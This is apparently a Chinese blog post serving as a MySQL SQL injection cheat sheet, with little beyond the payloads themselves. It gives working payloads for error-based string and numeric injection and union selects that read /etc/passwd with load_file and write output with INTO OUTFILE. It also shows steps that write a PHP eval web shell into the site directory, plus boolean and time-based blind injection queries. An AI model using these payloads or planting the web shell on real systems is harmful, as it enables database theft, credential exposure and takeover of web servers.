mysql引号注入_MySql注入

基本的报错注入

1、单引号报错-GET-字符型

错误信息：You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

猜测：select * from table where id='$id' limit 0,1;

绕过：id=1' --+   id=1' --%20    id=1' %23   id=1' or '1'='1    id=1' or 1=1 --+等等

2、GET-数字型

错误信息：You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

猜测：select * from table where id=$id limit 0,1

绕过：id=1 --+   id=1 or 1=1    id=1 or 1=1 %23

3单引号变形-字符型

错误信息：You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

猜测：select * from table where id=('$id') limit 0,1

绕过：id=1') --+等等

4、双引号-字符型

错误信息：You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1\") LIMIT 0,1' at line 1

猜测：select * from table where id=("$id") limit 0,1

绕过：id=1") --+   id=1") or ("1")=("1     ") or 1=1 --+

5、双查询注入

请参考我的上一篇博客

outfile函数

1、基本注入

语句：id=1' union select 1,2,3,4,5 into outfile "网站目录/test.txt" --+

id=1' union select table_name,2,3,4,5 from information_schema.tables where table_schame=database() into outfile "网站目录/test.txt" --+

id=1' union select load_file("/etc/passwd"),2,3,4,5 into outfile "网站目录/test.txt" --+

访问test.txt文件

2、注入并into outfile导出shell  必须magic_quotes_gpc为off

use database;使用数据库

create table shell(name text);创建表

insert into shell values (<?php @eval($_POST[123])?>);写入一句话木马

select * into outfile "网站目录/shell.php" from shell;   导出木马

3、脱裤

盲注

1、基于bool型

原理：对值进行判断，正确为true；

语句：id=1' and  (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))<102 --+

请大家以此类推！不想因为这些语句妨碍了篇幅。

substr("str","length1","length2");

length1:起始位置  length2:截取字符串长度

2、基于时间型

原理：当我们输入的在数据库有时，则会延迟执行，否则立即执行；

语句：select if((select database())="security",sleep(5),null);

select if((select version()) like "5%",sleep(5),null);

POST注入：与get注入方式相同；不过我们在用户名和密码选择一个地方就好了！